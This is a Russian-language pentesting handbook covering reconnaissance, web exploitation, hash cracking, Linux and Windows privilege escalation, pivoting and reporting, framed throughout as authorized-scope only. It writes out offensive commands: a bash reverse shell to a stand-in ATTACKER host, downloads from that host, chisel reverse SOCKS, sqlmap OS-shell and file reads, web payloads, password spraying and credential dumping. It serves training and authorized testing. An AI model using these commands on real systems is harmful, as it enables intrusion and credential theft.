← ZavetSec Library
ZavetSec // Pentest Codex

СПРАВОЧНИК ПЕНТЕСТЕРА

Расширенный справочник по тестированию на проникновение: каждый инструмент с описанием назначения, каждая команда с разбором флагов. Покрывает всю kill-chain — от рекона до отчёта. Цели в примерах (10.10.10.10, target.local, dc01) — плейсхолдеры. Всё применяется исключительно в авторизованном scope (подписанный RoE/договор) либо на собственной изолированной лабе.

ФОРМАТ: REFERENCE HANDBOOK РАЗДЕЛОВ: 16 ОС: KALI / PARROT SCOPE: AUTHORIZED ONLY
// 00

Введение, легальность, методология

Граница, которую не переходят. Разница между пентестером и преступником — письменное разрешение. Любой скан, эксплойт или сбор данных только при наличии подписанного scope / Rules of Engagement / договора либо на собственной изолированной лабе. Нет бумаги — нет действия. В РФ это ст. 272–274 УК; ссылка на «исследование» не является защитой.

Как читать справочник

Каждый инструмент идёт блоком: назначение → описание → команды с построчными комментариями. Для тяжёлых инструментов (nmap, ffuf, sqlmap, hashcat, nxc) добавлены таблицы флагов. Цвета в коде: зелёный — команда/ключевое, синий — подставляемое значение (IP/домен/файл), жёлтый — строковый литерал, серый курсив — комментарий.

Методология PTES — 7 фаз

Профессиональный пентест идёт по системе, а не наугад. Это снижает риск пропустить вектор и упрощает отчёт.

#ФазаСуть
1Pre-engagementСогласование scope, RoE, сроков, контактов, правил остановки
2Intelligence GatheringПассивный + активный рекон, карта поверхности атаки
3Threat ModelingПриоритизация целей и векторов по ценности/риску
4Vulnerability AnalysisПоиск и верификация уязвимостей
5ExploitationПолучение доступа
6Post-ExploitationPrivesc, движение, ценность доступа, сбор доказательств
7ReportingОтчёт: бизнес-риск, технические детали, ремедиации

Подготовка окружения

# Современный тулинг, которого может не быть из коробки
pipx install impacket                              # набор для Windows/AD-протоколов
pipx install git+https://github.com/Pennyw0rth/NetExec     # NetExec (форк CrackMapExec)
pipx install certipy-ad                            # атаки на AD CS
pipx install bloodhound                            # коллектор BloodHound (python)

# Go-тулинг ProjectDiscovery (рекон нового поколения)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/ffuf/ffuf/v2@latest

# Словари
sudo apt install seclists       # огромная коллекция в /usr/share/seclists
gunzip /usr/share/wordlists/rockyou.txt.gz   # распаковать rockyou при первом запуске

# Рабочая папка на каждую цель + логирование сессии
mkdir -p target/{recon,loot,exploit,report}
script -a target/session.log      # писать весь вывод терминала в лог
Дисциплина рекона. 90% результата — в энумерации. Главное правило справочника: enumerate, then enumerate again. Большинство «тупиков» — это недоэнумерированная цель, а не отсутствие уязвимостей.
// 01

Пассивный рекон / OSINTRecon

Сбор информации без прямого касания инфраструктуры цели: домены, поддомены, e-mail, утечки, метаданные. Шумит минимально, делается первым.

whois / dig // регистрационные и DNS-данные

Базовое разведывание домена: кто владелец, какие NS/MX-записи, IP-диапазоны.

whois target.com                    # регистрант, даты, NS-серверы
dig target.com ANY +noall +answer  # все доступные DNS-записи разом
dig target.com MX +short          # почтовые серверы (часто выдают провайдера)
dig target.com TXT +short         # SPF/DKIM/верификации (инфраструктурные подсказки)
dig @8.8.8.8 target.com          # запрос через конкретный резолвер
dig -x 10.10.10.10              # обратный DNS (PTR) по IP

subfinder // пассивный сбор поддоменов

Собирает поддомены из десятков публичных источников (CT-логи, пассивный DNS, поисковики) без обращения к самой цели. Стартовая точка для карты внешнего периметра.

subfinder -d target.com -silent              # чистый список поддоменов в stdout
subfinder -d target.com -all -o subs.txt      # все источники, сохранить в файл
subfinder -dL domains.txt -silent            # обработать список доменов из файла
ФлагЗначение
-dцелевой домен
-dLфайл со списком доменов
-allзадействовать все источники (медленнее, полнее)
-silentтолько результат, без баннеров (удобно для пайпов)
-oфайл вывода

amass // глубокая карта поверхности (OWASP)

Более тяжёлый и глубокий, чем subfinder: строит карту активов организации, включая связанные ASN/диапазоны. Режим intel — разведка по организации, enum — перечисление поддоменов.

amass enum -passive -d target.com -o amass.txt   # только пассивные источники
amass enum -active -d target.com               # + активная проверка (резолв, скан)
amass intel -org "Target Inc"                  # найти домены по названию организации
amass intel -asn 12345                       # диапазоны, принадлежащие ASN

theHarvester // e-mail, имена, хосты

Агрегатор OSINT: собирает e-mail-адреса, имена сотрудников, поддомены и хосты из публичных поисковиков и сервисов. E-mail-формат компании — основа для password spraying и фишинг-учений (в рамках scope).

theHarvester -d target.com -b all          # все доступные источники
theHarvester -d target.com -b bing,duckduckgo -l 500  # конкретные источники, лимит результатов
ФлагЗначение
-dдомен/организация
-bисточник(и): all, bing, duckduckgo, crtsh и др.
-lлимит числа результатов
-fсохранить отчёт (html/xml)

Прочие OSINT-инструменты

ИнструментНазначениеКоманда
recon-ngМодульный OSINT-фреймворк с marketplace модулейrecon-ng
spiderfootАвтоматизированный OSINT с web-интерфейсом и графом связейspiderfoot -l 127.0.0.1:5001
exiftoolМетаданные из публичных документов (авторы, ПО, пути)exiftool report.pdf
crt.shПоддомены из Certificate Transparency логов (через браузер/curl)curl -s 'https://crt.sh/?q=%25.target.com&output=json'
Google dorksПрицельный поиск: site:target.com filetype:pdf, inurl:adminв браузере
Связка для быстрой карты периметра: subfinder → httpx → nuclei. Собрать поддомены, отфильтровать живые HTTP-хосты с тех-фингерпринтом, прогнать шаблонным сканером. Команды — в разделах 03 и 06.
// 02

Сканирование портов и сервисовRecon

Активная фаза: какие порты открыты, какие сервисы и версии за ними. Карта портов определяет всё дальнейшее.

nmap // основной сетевой сканер

Главный инструмент сетевого рекона. Определяет живые хосты, открытые порты, версии сервисов, ОС, и через движок NSE запускает скрипты (от баннеров до проверок уязвимостей). Типовая стратегия — два прохода: быстрый по всем портам, затем детальный по найденным открытым.

# 1) Быстрый скан ВСЕХ 65535 TCP-портов: только факт открытости
nmap -p- --min-rate 5000 -T4 10.10.10.10 -oN ports.txt
#   -p-           все порты (1-65535)
#   --min-rate    минимум пакетов/сек (ускоряет; 5000 ок для лабы)
#   -T4           агрессивный тайминг (T0 медленный/тихий ... T5 безумный)
#   -oN           вывод в человекочитаемый файл

# 2) Детальный скан ТОЛЬКО открытых портов (версии + дефолт-скрипты + ОС)
nmap -p22,80,445,3389 -sC -sV -O -A 10.10.10.10 -oN detail.txt
#   -sC   дефолтные NSE-скрипты (безопасные, информативные)
#   -sV   определение версий сервисов
#   -O    определение ОС по сетевому стеку
#   -A    агрессивный режим (= -sC -sV -O + traceroute)
Типы сканирования
ФлагТипКогда
-sSSYN-скан (half-open)дефолт для root; быстрый, относительно тихий
-sTTCP connectбез root или через proxychains
-sUUDP-сканSNMP/DNS/TFTP/SIP — часто забывают
-snping-sweep без портовобнаружение живых хостов в подсети
-Pnпропустить pingхост блокирует ICMP, но «жив»
NSE — движок скриптов
nmap -p445 --script smb-vuln-* 10.10.10.10   # все SMB-vuln проверки (напр. MS17-010)
nmap -p80 --script http-enum 10.10.10.10       # перечисление web-путей/приложений
nmap --script vuln 10.10.10.10                # весь набор vuln-скриптов (шумно)
nmap -sU -p161 --script snmp-* 10.10.10.10   # SNMP-перечисление
ls /usr/share/nmap/scripts/ | grep ftp       # какие скрипты есть под сервис
UDP-топ (медленно, но важно)
sudo nmap -sU --top-ports 100 -T4 10.10.10.10   # 100 самых частых UDP-портов

masscan // сверхбыстрый сканер портов

Сканирует огромные диапазоны на скорости, недостижимой для nmap (свой TCP/IP-стек). Не определяет версии — задача найти открытые порты, дальше отдать их nmap для детализации.

sudo masscan -p1-65535 10.10.10.0/24 --rate 10000 -oL out.txt
#   --rate   пакетов/сек (осторожно: высокий rate ложит слабые сети)
#   -oL      простой список вывода

rustscan // быстрый порт-скан + автопереход в nmap

Очень быстро находит открытые порты и автоматически передаёт их nmap для версии/скриптов. Удобная связка «скорость masscan + детализация nmap» в одной команде.

rustscan -a 10.10.10.10 -- -sC -sV    # всё после `--` уходит в nmap как есть
// 03

Энумерация сервисовRecon

Каждый открытый порт энумерируется отдельно и глубоко. Здесь чаще всего находится точка входа.

SMB (445/139) // шары, пользователи, политика

SMB — частый источник foothold: открытые шары, null-сессии, перечисление пользователей. Современный универсальный инструмент — NetExec (nxc), наследник CrackMapExec.

# NetExec: сводка по хосту, шарам, политике паролей
nxc smb 10.10.10.10                              # баннер: ОС, домен, signing, SMBv1
nxc smb 10.10.10.10 -u '' -p '' --shares          # null-сессия: список шар
nxc smb 10.10.10.10 -u guest -p '' --users         # перечисление пользователей
nxc smb 10.10.10.10 -u user -p Pass1 --pass-pol     # политика паролей (важно перед брутом)

# Классические клиенты
smbclient -L //10.10.10.10/ -N             # -L список шар, -N без пароля
smbclient //10.10.10.10/share -N          # подключиться к шаре анонимно
smbmap -H 10.10.10.10 -u guest            # права доступа к шарам (READ/WRITE)
smbmap -H 10.10.10.10 -u user -p Pass1 -R share  # -R рекурсивный обход содержимого
Протокол nxcНазначение
smbSMB-энумерация, исполнение, дамп
winrmпроверка/исполнение через WinRM
ldapэнумерация AD через LDAP
mssqlработа с MSSQL
ssh / ftpпроверка кред по SSH/FTP

RPC / LDAP // внутренности Windows/AD

rpcclient -U "" -N 10.10.10.10            # null-RPC сессия
#   в шелле rpcclient:
#   enumdomusers   -- список пользователей домена
#   querydominfo   -- инфо о домене
#   enumdomgroups  -- группы

ldapsearch -x -H ldap://10.10.10.10 -b "dc=target,dc=local"  # анонимный LDAP-дамп
#   -x  простая аутентификация, -H хост, -b base DN

NFS (2049) // сетевые экспорты

showmount -e 10.10.10.10                 # какие каталоги экспортированы
sudo mount -t nfs 10.10.10.10:/export /mnt/nfs   # примонтировать экспорт

SNMP (161/udp) // часто недооценённый источник

При дефолтном community-string (обычно "public") SNMP выдаёт список процессов, портов, ПО, иногда учётные данные. Проверяется всегда при открытом 161/udp.

snmpwalk -v2c -c public 10.10.10.10        # полный обход MIB
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2  # список процессов
onesixtyone -c communities.txt 10.10.10.10   # брут community-string

FTP / SSH / SMTP // типовые сервисы

# FTP -- проверить анонимный вход
ftp 10.10.10.10                       # логин anonymous / пустой пароль

# SSH -- баннер и поддерживаемые методы аутентификации
nc 10.10.10.10 22                      # баннер версии
ssh -v user@10.10.10.10               # -v покажет доступные auth-методы

# SMTP -- перечисление пользователей (VRFY/EXPN)
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.10

httpx / whatweb // фингерпринт web

httpx фильтрует живые HTTP(S)-хосты из списка и снимает технологии/заголовки/статусы. whatweb определяет CMS, фреймворки, версии. Связка после subfinder отсеивает мёртвые поддомены и подсвечивает интересные.

subfinder -d target.com -silent | httpx -silent -title -tech-detect -status-code
#   -title       заголовок страницы
#   -tech-detect технологии (Wappalyzer-движок)
#   -status-code HTTP-код ответа
whatweb http://10.10.10.10            # детальный фингерпринт одного хоста
// 04

Web content discoveryWeb

Поиск скрытых директорий, файлов, виртуальных хостов и параметров. То, что не видно по ссылкам, но доступно по URL.

ffuf // быстрый универсальный веб-фаззер

Подставляет слова из словаря в место маркера FUZZ — в путь, поддомен, заголовок, параметр или тело. Самый гибкий фаззер: одной утилитой закрываются директории, vhost'ы, перебор параметров и значений.

# Перебор директорий и файлов
ffuf -u http://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,401,403

# Перебор с расширениями
ffuf -u http://10.10.10.10/FUZZ -w list.txt -e .php,.txt,.bak,.zip

# Перебор виртуальных хостов (vhost)
ffuf -u http://10.10.10.10/ -H "Host: FUZZ.target.com" -w subdomains.txt -fs 0

# Перебор GET-параметров
ffuf -u "http://10.10.10.10/page?FUZZ=test" -w params.txt -fw 42
ФлагЗначение
-uURL с маркером FUZZ
-wсловарь
-eдобавить расширения к каждому слову
-Hкастомный заголовок (для vhost-фаззинга)
-mcmatch codes: показывать только эти HTTP-коды
-fc / -fs / -fw / -flfilter code / size / words / lines — отсечь «фон»
-recursionрекурсивно фаззить найденные директории
-tчисло потоков (по умолчанию 40)
Тактика фильтрации. Сначала запусти без фильтров, посмотри размер/число слов «пустого» ответа (например, кастомная 404 отдаёт 200 с фиксированным размером). Затем отсей его через -fs/-fw. Это та же логика, что отсечение false positive.

feroxbuster // рекурсивный контент-сканер (Rust)

Быстрый, по умолчанию рекурсивный: найдя директорию, автоматически уходит вглубь. Хорош, когда структура сайта многоуровневая.

feroxbuster -u http://10.10.10.10 -w list.txt -x php,txt,html -d 3
#   -x  расширения, -d глубина рекурсии

gobuster // перебор dir / dns / vhost

Классика, простой и быстрый. Режимы: dir (директории), dns (поддомены брутом), vhost (виртуальные хосты).

gobuster dir -u http://10.10.10.10 -w list.txt -x php,txt   # директории
gobuster dns -d target.com -w subdomains.txt                # поддомены брутом
gobuster vhost -u http://10.10.10.10 -w subs.txt --append-domain  # vhost
// 05

Web-эксплуатацияWeb

Burp Suite — центральный хаб (proxy → repeater → intruder). Ниже — основные классы уязвимостей с проверками и эксплуатацией. Глубокая отработка каждого класса — на PortSwigger Web Security Academy (бесплатно).

Burp Suite // перехват и модификация HTTP

Прокси между браузером и целью. Repeater — ручная отправка/правка запросов; Intruder — автоматизированный перебор; Decoder/Comparer — вспомогательные. Сохранённый запрос (req.txt) используется как вход для sqlmap и др.

МодульНазначение
ProxyПерехват и просмотр трафика (настроить браузер на 127.0.0.1:8080)
RepeaterРучная отправка/изменение одиночных запросов — основной рабочий модуль
IntruderАвтоперебор позиций (фаззинг параметров, brute)
DecoderКодирование/декодирование (URL, Base64, hex)

SQL-инъекции // sqlmap + ручное понимание

Внедрение SQL в запрос к БД. Типы: UNION-based, error-based, boolean/time-based blind. sqlmap автоматизирует, но тип инъекции и точку входа нужно понимать руками.

# Сохрани запрос из Burp в req.txt, укажи уязвимый параметр через -p или *
sqlmap -r req.txt --batch                       # авто-режим, без вопросов
sqlmap -r req.txt --batch --level 3 --risk 2   # глубже проверки (1-5 / 1-3)
sqlmap -r req.txt --dbs                          # перечислить базы данных
sqlmap -r req.txt -D app --tables               # таблицы конкретной БД
sqlmap -r req.txt -D app -T users --dump        # дамп таблицы
sqlmap -r req.txt --os-shell                     # попытка получить ОС-шелл
sqlmap -r req.txt --file-read=/etc/passwd       # чтение файла (при правах)
ФлагЗначение
-rфайл с HTTP-запросом (из Burp)
-pконкретный параметр для теста
--batchне задавать вопросов (дефолтные ответы)
--level / --riskширота / агрессивность проверок
--dbmsподсказать СУБД (mysql, mssql, postgres)
--techniqueограничить технику (B/E/U/S/T)

Классы web-уязвимостей // что проверять руками

КлассСутьБазовая проверка
XSSВнедрение JS в страницу"><svg onload=alert(1)> в поля/параметры
SSRFЗаставить сервер сделать запроспараметр-URL → http://169.254.169.254/ (cloud-метадата)
LFI / RFIПодключение локального/удалённого файла?page=../../../../etc/passwd, php-wrappers
XXEExternal entity в XMLentity на file:// или внешний SSRF
SSTIИнъекция в шаблонизатор{{7*7}} → если вернёт 49, уязвимо
IDOR / BOLAДоступ к чужим объектам по IDсменить id=1001 на чужой
UploadЗагрузка исполняемого файлаобход фильтра расширения/MIME → webshell
DeserializationНебезопасная десериализацияysoserial (Java) / phpggc (PHP)
Command injectionИнъекция ОС-команд; id, | whoami, $(id) — или commix

JWT-атаки // токены сессий

JSON Web Token: header.payload.signature. Частые уязвимости — alg:none (подпись не проверяется), слабый HMAC-секрет (брутится), путаница алгоритмов RS256/HS256.

# Брут HMAC-секрета HS256-токена
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Анализ/правка токена -- jwt_tool
jwt_tool <token> -T            # режим перебора манипуляций (tamper)

Специализированные сканеры

ИнструментНазначениеКоманда
wpscanWordPress: плагины, темы, пользователи, CVEwpscan --url http://site --enumerate u,vp
commixАвто-эксплуатация command injectioncommix -u "http://site/?p=1"
nikto legacy/helperТиповые мисконфиги web-сервера; быстрая вспомогательная проверка, не основной сканер (ср. nuclei)nikto -h http://site
cmseek нишевыйДетект и энумерация CMS; узкоспециальныйcmseek -u http://site
// 06

Поиск уязвимостейScan

Сопоставление найденных сервисов/версий с известными уязвимостями. Сканер — отправная точка, не вердикт: каждую находку верифицируй.

nuclei // шаблонный сканер уязвимостей

Прогоняет цель через тысячи community-шаблонов (CVE, мисконфиги, exposures, дефолтные креды). Быстрый, обновляемый, точный за счёт сигнатурного подхода.

nuclei -update-templates                        # обновить базу шаблонов
nuclei -u http://10.10.10.10                  # один хост, все шаблоны
nuclei -u http://10.10.10.10 -severity high,critical   # только серьёзные
nuclei -l live-hosts.txt -tags cve,exposure    # список хостов, по тегам

searchsploit // локальная база Exploit-DB

Оффлайн-поиск публичных эксплойтов по продукту и версии. Найдя PoC, копируй его локально и обязательно читай код перед запуском.

searchsploit apache 2.4.49          # поиск по продукту/версии
searchsploit -m 50383                # -m скопировать эксплойт в текущую папку
searchsploit -x 50383                # -x просмотреть содержимое
searchsploit -u                          # обновить базу
Никогда не запускай чужой эксплойт вслепую. Публичные PoC бывают с ошибками, бэкдорами или деструктивной нагрузкой. Прочитай код, пойми, что он делает, при необходимости поправь shellcode/адреса под цель.

Прочие

ИнструментНазначение
nmap --script vulnNSE-проверки уязвимостей по найденным сервисам
OpenVAS / GreenboneПолноценный сетевой сканер (sudo gvm-setup), корпоративный охват
niktoWeb-сервер: устаревшее ПО, опасные файлы, мисконфиги
// 07

Пароли и хэшиCreds

Оффлайн-взлом захваченных хэшей и онлайн-перебор сервисов. Оффлайн предпочтительнее: тише, без лок-аута, быстрее на GPU.

hashcat // GPU-взлом хэшей

Самый быстрый взломщик: использует GPU. Режим (-m) задаёт тип хэша, атака (-a) — стратегию. Сочетание словаря с правилами кратно повышает покрытие при минимуме затрат.

# Атака по словарю
hashcat -m 1000 hashes.txt rockyou.txt
#   -m 1000  тип хэша (NTLM), см. таблицу
#   -a 0     режим по умолчанию = словарь

# Словарь + правила (мутации: Password -> P@ssw0rd1! и т.д.)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Маска (brute по известному паттерну)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d!'
#   -a 3  маска; ?u верхний, ?l нижний, ?d цифра, ?s спецсимвол

hashcat -m 1000 hashes.txt rockyou.txt --show   # показать уже взломанное
Хэш-mИсточник
MD50общий
SHA1100общий
NTLM1000Windows SAM/NTDS
NetNTLMv25600Responder/relay
Kerberos TGS (Kerberoast)13100GetUserSPNs
Kerberos AS-REP18200GetNPUsers
bcrypt3200web-приложения
JWT HS25616500токены

john the ripper // CPU-взлом, удобные форматы

Гибче по входным форматам: множество *2john-утилит превращают файлы (zip, ssh-key, pdf, keepass) в крекуемый хэш. Хорош, когда нет GPU или нужен экзотический формат.

john --wordlist=rockyou.txt hashes.txt        # словарная атака
john --format=NT --wordlist=rockyou.txt h.txt   # явный формат
john --show hashes.txt                          # показать взломанное

# Конвертеры в john-формат:
zip2john secret.zip > zip.hash                  # пароль ZIP-архива
ssh2john id_rsa > key.hash                      # пароль приватного ключа
keepass2john db.kdbx > kp.hash                  # мастер-пароль KeePass

hydra // онлайн-брут сетевых сервисов

Перебор логинов/паролей против живого сервиса (SSH, FTP, HTTP-форма, RDP и др.). Шумно и чревато лок-аутом — применяется осознанно.

hydra -l admin -P rockyou.txt ssh://10.10.10.10
#   -l один логин, -L файл логинов
#   -p один пароль, -P файл паролей

# Брут HTTP POST-формы
hydra -l admin -P list.txt 10.10.10.10 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid"
#   ^USER^/^PASS^ подстановка; F= строка-признак неудачи

Генерация словарей и спрей

cewl http://site -w words.txt -d 3       # словарь из слов сайта (-d глубина обхода)
crunch 8 8 -t @@@@%%%% -o list.txt        # маска: @ буква, % цифра

# Password spraying: ОДИН пароль на МНОГО юзеров (обходит лок-аут)
nxc smb 10.10.10.10 -u users.txt -p 'Summer2025!' --continue-on-success
Лок-аут аккаунтов. Онлайн-брут может заблокировать учётки и сорвать заказ. Сначала узнай политику паролей (--pass-pol), используй spraying с задержкой между раундами, держись внутри порога блокировки. На реальном проекте согласуется отдельно.
// 09

Privilege Escalation — LinuxPost-Ex

От низкоприв доступа до root. Сначала автоэнумерация для обзора, затем ручной разбор находок. Не запускай эксплойт, не поняв механику.

linpeas // автоэнумерация privesc-векторов

Сканирует систему и подсвечивает потенциальные векторы цветом (красный/жёлтый = высокий приоритет): SUID, sudo-права, cron, креды в файлах, ядро, capabilities. Стартовая точка, но не финал — находки проверяются вручную.

./linpeas.sh | tee linpeas.out          # запуск + сохранение вывода
./linpeas.sh -a                         # -a максимально подробный режим

Ручные проверки // ключевые векторы

sudo -l                                 # что разрешено через sudo (часто прямой путь к root)
find / -perm -4000 -type f 2>/dev/null   # SUID-бинарники (запуск от владельца)
find / -perm -2000 -type f 2>/dev/null   # SGID-бинарники
getcap -r / 2>/dev/null                  # файлы с capabilities (напр. cap_setuid)
cat /etc/crontab; ls -la /etc/cron.*     # cron-задачи (записываемый скрипт от root?)
uname -a; cat /etc/os-release            # версия ядра/ОС -> поиск kernel-эксплойта
ps aux --forest                          # процессы от root, локальные сервисы
ss -tlnp                                 # локально слушающие порты (внутренние сервисы)
GTFOBins. Нашёл SUID-бинарь, sudo-правило или capability на известной утилите — проверь технику эксплуатации на gtfobins.github.io. Это база «как из легитимного бинаря получить шелл/чтение/запись от привилегий».

Типовые Linux privesc-векторы

ВекторСуть
sudo misconfigРазрешённая через sudo утилита с GTFOBins-техникой → root
SUID/SGIDБинарь исполняется от владельца (root); эксплуатация через GTFOBins
Capabilitiescap_setuid и подобные дают эскалацию без полного SUID
Cron + writable scriptСкрипт от root, доступный на запись → подмена содержимого
PATH hijackСкрипт от root вызывает бинарь без полного пути
Kernel exploitУязвимое ядро → локальный root-эксплойт (последний выбор: рискованно)
Креды в файлахПароли в конфигах, истории, бэкапах, .env
// 10

Privilege Escalation — WindowsPost-Ex

winPEAS / PowerUp // автоэнумерация

winPEAS (exe или bat) и PowerUp (PowerShell) перечисляют векторы эскалации: слабые ACL служб, unquoted service path, токен-привилегии, хранимые креды, AlwaysInstallElevated.

.\winPEASany.exe                        # комплексная энумерация
powershell -ep bypass                   # обойти политику запуска скриптов в сессии
Import-Module .\PowerUp.ps1; Invoke-AllChecks   # все проверки PowerUp

Ручные проверки

whoami /priv                            # привилегии токена (Se*Privilege)
whoami /groups                          # членство в группах
systeminfo                              # патчи -> поиск отсутствующих KB
cmdkey /list                            # сохранённые учётные данные
reg query HKLM\...\Winlogon             # autologon-креды в реестре
sc qc <service>                      # конфиг службы (путь, аккаунт запуска)

Типовые Windows privesc-векторы

ВекторСуть
SeImpersonate / PotatoПривилегия impersonation → token-эскалация до SYSTEM (Potato-техники)
Unquoted service pathПуть службы с пробелами без кавычек → подмена бинаря
Слабые ACL службыПраво менять конфиг службы → запуск своего бинаря от SYSTEM
DLL hijackingПодмена DLL, которую грузит привилегированный процесс
AlwaysInstallElevatedMSI ставится от SYSTEM → свой пакет
Хранимые кредыcmdkey, autologon, файлы конфигов, Unattend.xml
LOLBAS. Перед «громким» эксплойтом проверь возможность эскалации легитимными бинарями системы — lolbas-project.github.io (Windows) и GTFOBins (Linux). Тише и реалистичнее.
// 11

Pivoting и туннелированиеLateral

Скомпрометированный хост — мост во внутренние сегменты, недоступные напрямую. Цель: маршрутизировать инструменты атакующей машины в скрытую за ним подсеть.

ligolo-ng // современный pivot через tun-интерфейс

Поднимает виртуальный сетевой интерфейс, через который внутренняя подсеть становится «локальной». Не требует proxychains — инструменты работают напрямую. Самый удобный современный вариант.

# На атакующей машине (proxy)
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert                       # запустить сервер с самоподписанным сертом

# На цели запускается agent -> в консоли proxy:
#   session   выбрать агента
#   start     поднять туннель
# Добавить маршрут в внутреннюю подсеть на атакующей машине:
sudo ip route add 192.168.50.0/24 dev ligolo

chisel // reverse SOCKS-прокси

Один бинарь, кроссплатформенный. Поднимает SOCKS-прокси через скомпрометированный хост; инструменты заворачиваются через proxychains. Классика, когда tun недоступен.

# Атакующая машина (сервер)
./chisel server -p 8000 --reverse        # принимать reverse-подключения

# Цель (клиент) -> reverse SOCKS на порт 1080 атакующего
./chisel client ATTACKER_IP:8000 R:1080:socks

# Завернуть инструменты через SOCKS (/etc/proxychains4.conf: socks5 127.0.0.1 1080)
proxychains nmap -sT -Pn 192.168.50.10
proxychains nxc smb 192.168.50.0/24 -u user -p pass

SSH-туннели // нативно, тихо

ssh -D 1080 user@pivot              # динамический SOCKS-прокси через pivot
ssh -L 8080:internal:80 user@pivot     # локальный форвард: localhost:8080 -> internal:80
ssh -R 9090:localhost:80 user@attacker  # обратный форвард
sshuttle -r user@pivot 192.168.50.0/24  # «VPN-подобный» pivot через SSH
ЗадачаИнструментЗаметка
Полный pivot + маршрутligolo-ngудобнее всего, без proxychains
Reverse SOCKSchiselодин бинарь, кроссплатформенно
Есть SSH-доступssh / sshuttleнативно, тихо
Ad-hoc проброс портаsocatбыстрый relay
// 12

Шеллы и передача файловOps

Reverse shells // получить интерактивный доступ

После RCE нужен интерактивный канал: слушатель на атакующей машине, нагрузка-подключение на цели. Генератор синтаксиса под язык/ОС — revshells.com.

# Слушатель на атакующей машине
nc -lvnp 4444                       # -l слушать, -v подробно, -n без DNS, -p порт
rlwrap nc -lvnp 4444                # rlwrap = история команд и стрелки в шелле

# Типовые нагрузки на цели (примеры синтаксиса):
bash -i >& /dev/tcp/ATTACKER/4444 0>&1     # bash
python3 -c 'import socket,subprocess,os;...'   # python (полный — на revshells)

Стабилизация TTY // полноценный шелл

«Голый» reverse shell без TTY ломается на интерактивных командах (su, ssh, vi), не держит Ctrl+C. Стабилизация даёт полноценный псевдотерминал.

python3 -c 'import pty;pty.spawn("/bin/bash")'   # 1) спавн pty
# 2) Ctrl+Z (фон), затем на атакующей машине:
stty raw -echo; fg                       # 3) пробросить терминал, вернуть шелл
export TERM=xterm                        # 4) корректный терминал
# альтернатива: script /dev/null -qc /bin/bash

Передача файлов // доставка инструментов

# На атакующей машине -- HTTP-сервер из текущей папки
python3 -m http.server 80

# Linux-цель скачивает
wget http://ATTACKER/linpeas.sh -O /tmp/lp.sh
curl http://ATTACKER/linpeas.sh -o /tmp/lp.sh

# Windows-цель скачивает
certutil -urlcache -f http://ATTACKER/nc.exe nc.exe   # встроенный certutil
powershell -c "iwr http://ATTACKER/winpeas.exe -o wp.exe"   # Invoke-WebRequest

# SMB-сервер (удобно для Windows, обходит часть ограничений)
impacket-smbserver share . -smb2support
# на цели: copy \\ATTACKER\share\file.exe .
// 13

Post-Ex / C2 / EvasionElite

Почему здесь нет готовых loader'ов и AMSI-байпасов. Рабочий код обхода защит имеет смысл только под конкретный EDR/версию/цель и быстро детектится в публичном виде. Умение писать его под цель — это и есть навык фазы Elite, который ставится на курсах с лабой (CRTO/OSEP), а не копипастой. Ниже — карта направления, тулчейн и точки изучения.

C2-фреймворки // командные центры (изучать на лабе)

Command-and-Control: сервер управляет агентами (beacon) на скомпрометированных хостах. Дают структурированную post-exploitation: задачи, сбор данных, движение, профили трафика.

C2ПрофильЗаметка
SliverOpen-source, GoЛучший бесплатный вход, активно развивается
HavocOpen-sourceСовременный, гибкие профили
MythicМодульный, агенты под разные ОСПлатформа для команд
AdaptixC2Расширяемый, open-sourceПоявился в свежих сборках Kali
Cobalt StrikeКоммерческий стандарт red teamИзучается на CRTO; в проде по лицензии

Карта направлений evasion // что и зачем изучать

Обход защит изучается парой «детект против обхода»: пойми правило детекта, разбери класс обхода, затем — что остаётся в логе всё равно. Так растёшь и как атакующий, и как архитектор защиты.

Поверхность детектаКласс обходаЧто изучать
AMSI (скан скриптов)обход in-memory сканераустройство AMSI и точки перехвата
ETW (телеметрия)снижение/обход телеметриичто и куда пишет ETW, что видит EDR
EDR user-land хукиunhooking / прямые syscallsмеханика inline-хуков в NTDLL
Сигнатуры файловобфускация / упаковкапочему ловит статика, как меряется энтропия
Поведенческий детектLOLBAS / fileless / OPSEC C2jitter, sleep, redirectors, named pipes

Персистентность и сбор // на лабе / в scope

# Сбор кред-материала после захвата (авторизованно!)
impacket-secretsdump -sam sam.hive -system system.hive LOCAL   # из выгруженных hive
# mimikatz на цели:  sekurlsa::logonpasswords  -- креды из памяти LSASS

# Векторы персистентности (red team-сценарий, не на проде без согласования):
#   scheduled task / run-key / service / WMI event subscription
#   -- ровно то, что детектят DFIR-инструменты по EVTX. Замкни круг.
Персистентность и деструктив на реальном проекте — только при явном согласовании в RoE. Всё, что переживает сессию, фиксируется и удаляется после теста; cleanup отдельным пунктом в отчёт.
// 14

Отчёт и методология

Заказчик платит за отчёт, а не за рут. Умение писать чёткие формальные документы — недооценённое преимущество: многие технари ломать умеют, а внятно описать находки — нет.

# Структура отчёта пентеста
1. Executive Summary   -- для руководства, без жаргона, бизнес-риск
2. Scope & Methodology -- что тестировали, по какому стандарту (PTES/OWASP)
3. Findings            -- каждая: описание, severity (CVSS), PoC, воспроизведение
4. Attack Narrative    -- хронология цепочки атаки (kill chain)
5. Remediation         -- конкретные шаги починки + приоритизация
6. Appendices          -- сырые данные, команды, артефакты, cleanup-лог
СтандартНазначение
PTES7 фаз процесса пентеста — от pre-engagement до отчёта
OWASP WSTGчек-лист тестирования web-приложений
MITRE ATT&CKматрица TTP — мапить находки на тактики/техники
CVSS 3.1 / 4.0оценка severity + бизнес-контекст для приоритета
NIST 800-115техническое руководство по security assessment
Принцип двух колонок. Ломая что-либо на лабе, держи в голове «как это сделано» и «что увидел бы SOC». Первая колонка делает специалиста пентестером, вторая — гуру, к которому идут и red, и blue.
// 15

Шпаргалка one-liner'ов

